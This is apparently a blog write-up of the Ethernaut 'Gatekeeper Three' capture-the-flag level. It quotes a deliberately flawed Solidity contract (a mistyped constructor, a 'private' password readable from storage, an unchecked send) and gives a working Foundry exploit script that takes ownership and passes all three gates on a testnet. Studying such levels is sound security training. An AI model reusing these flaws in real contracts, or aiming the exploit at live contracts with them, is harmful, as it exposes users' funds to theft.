Ethernaut-28-Gatekeeper Three

Challenge

Cope with gates and become an entrant.

Things that might help:
  • Recall return values of low-level functions.

  • Be attentive with semantic.

  • Refresh how storage works in Ethereum.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
    GatekeeperThree public target;
    address public trick;
    uint256 private password = block.timestamp;

    constructor(address payable _target) {
        target = GatekeeperThree(_target);
    }

    function checkPassword(uint256 _password) public returns (bool) {
        if (_password == password) {
            return true;
        }
        password = block.timestamp;
        return false;
    }

    function trickInit() public {
        trick = address(this);
    }

    function trickyTrick() public {
        if (address(this) == msg.sender && address(this) != trick) {
            target.getAllowance(password);
        }
    }
}

contract GatekeeperThree {
    address public owner;
    address public entrant;
    bool public allowEntrance;

    SimpleTrick public trick;

    function construct0r() public {
        owner = msg.sender;
    }

    modifier gateOne() {
        require(msg.sender == owner);
        require(tx.origin != owner);
        _;
    }

    modifier gateTwo() {
        require(allowEntrance == true);
        _;
    }

    modifier gateThree() {
        if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
            _;
        }
    }

    function getAllowance(uint256 _password) public {
        if (trick.checkPassword(_password)) {
            allowEntrance = true;
        }
    }

    function createTrick() public {
        trick = new SimpleTrick(payable(address(this)));
        trick.trickInit();
    }

    function enter() public gateOne gateTwo gateThree {
        entrant = tx.origin;
    }

    receive() external payable {}
}

Solve

This challenge looks a bit tricky, let’s break it down step by step.

  • gateOne()

    • Easy, We only need to call the enter() function through a smart contract.

            Solution solution = new Solution();
            solution.solve();
      
  • gateTwo()

    • require(allowEntrance == true)

    • We need to make trick.checkPassword(_password) call to return True.

    • SimpleTrick.password is a private variable, but we can get this value through eth_getStorageAt(2) RPC call.

    • But GatekeeperThree.trick has not been created at this stage yet, so we need to call GatekeeperThree.createTrick() first to initialize GatekeeperThree.trick.

    • Let’s organize the current findings:

      1. First, call GatekeeperThree.createTrick() (for initialize GatekeeperThree.trick).

      2. Get the address of SimpleTrick contract (by reading GatekeeperThree.trick variable)

      3. Get the value of SimpleTrick.password (by using eth_getStorageAt(SimpleTrick, slot2))

      4. Call GatekeeperThree.getAllowance(uint256 _password) (to make GatekeeperThree.allowEntrance is equal to True)

  • gateThree()

    • address(this).balance > 0.001 ether just need to send 0.001 ether + 1 wei to GatekeeperThree contract.

    • payable(owner).send(0.001 ether) == false the owner can be set in the construct0r()

    • There’s a typo, so we just only need to let our attack contract call construct0r() to become the owner.

    • To let payable(owner).send(0.001 ether) failed, our contract needs to implement a receive() function and trigger a revert() operation.

Let’s summarize the attack steps:

  1. Write an attack contract.

  2. Implement a receive() function and will trigger a revert() operation.

  3. Call GatekeeperThree.createTrick() (for initialize GatekeeperThree.trick).

  4. Get the address of SimpleTrick contract (by reading GatekeeperThree.trick variable).

  5. Get the value of SimpleTrick.password (by using eth_getStorageAt(SimpleTrick, slot2)) or just using block.timestamp as the password.

  6. Call GatekeeperThree.getAllowance(uint256 _password) (to make GatekeeperThree.allowEntrance is equal to True).

  7. Call GatekeeperThree.construct0r() (to become an owner).

  8. Send 0.001 ether + 1 wei to GatekeeperThree contract.

  9. Call GatekeeperThree.enter() to pass the challenge.


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";

interface IGatekeeperThree{
    function trick() external returns(address);
}

contract Solver is Script {
    address gatekeeper_three = vm.envAddress("GATEKEEPERTHREE_INSTANCE");

    function setUp() public {}

    function run() public {
        vm.startBroadcast(vm.envUint("PRIV_KEY"));

        GateBreaker gatebreaker = new GateBreaker(gatekeeper_three); // createTrick()

        gatebreaker.getAllowance();

        gatekeeper_three.call{value: 0.001 ether + 1}("");
        console.log("gatekeeper_three balance: ", gatekeeper_three.balance);

        gatebreaker.construct0r();
        gatebreaker.enter();

        vm.stopBroadcast();
    }
}


contract GateBreaker {
    address gatekeeper_three;

    constructor(address _gatekeeper_three)  {
        gatekeeper_three = _gatekeeper_three;
        _gatekeeper_three.call(abi.encodeWithSignature("createTrick()"));
    }

    function getAllowance() external {
        gatekeeper_three.call(abi.encodeWithSignature("getAllowance(uint256)", uint256(block.timestamp)));
    }

    function construct0r() external {
        gatekeeper_three.call(abi.encodeWithSignature("construct0r()"));
    }

    function enter() external {
        gatekeeper_three.call(abi.encodeWithSignature("enter()"));
    }

    receive() external payable {
        revert();
    }
}
forge script script/Ethernaut28-GatekeeperThree.s.sol:Solver -f $RPC_OP_SEPOLIA --broadcast

Potential Patches

None, this level is just designed for fun.

0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. 🫣